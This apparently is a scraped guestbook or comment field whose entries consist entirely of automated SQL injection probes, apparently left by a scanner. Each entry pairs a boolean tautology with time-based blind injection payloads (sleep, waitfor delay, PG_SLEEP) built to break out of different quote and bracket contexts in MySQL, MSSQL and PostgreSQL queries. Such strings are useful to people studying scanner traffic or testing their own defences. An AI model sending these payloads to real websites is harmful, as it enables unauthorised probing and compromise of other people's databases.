(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
-1" OR 2+199-199-1=0+0+0+1 -- 
-1; waitfor delay '0:0:15' --

Guest:
-1" OR 2+199-199-1=0+0+0+1 -- 
-1); waitfor delay '0:0:15' --

Guest:
-1" OR 2+199-199-1=0+0+0+1 -- 
-1 waitfor delay '0:0:15' --

Guest:
-1" OR 2+199-199-1=0+0+0+1 -- 
pmrPi2XK'; waitfor delay '0:0:15' --

Guest:
-1" OR 2+199-199-1=0+0+0+1 -- 
OnsG3Lo7'); waitfor delay '0:0:15' --

Guest:
-1" OR 2+199-199-1=0+0+0+1 -- 
rMIIwknW')); waitfor delay '0:0:15' --

Guest:
-1" OR 2+199-199-1=0+0+0+1 -- 
pLvrt3wT' OR 568=(SELECT 568 FROM PG_SLEEP(15))--

Guest:
-1" OR 2+199-199-1=0+0+0+1 -- 
zPRmu8HJ') OR 893=(SELECT 893 FROM PG_SLEEP(15))--

Guest:
-1" OR 2+199-199-1=0+0+0+1 -- 
m9uY4vyk')) OR 890=(SELECT 890 FROM PG_SLEEP(15))--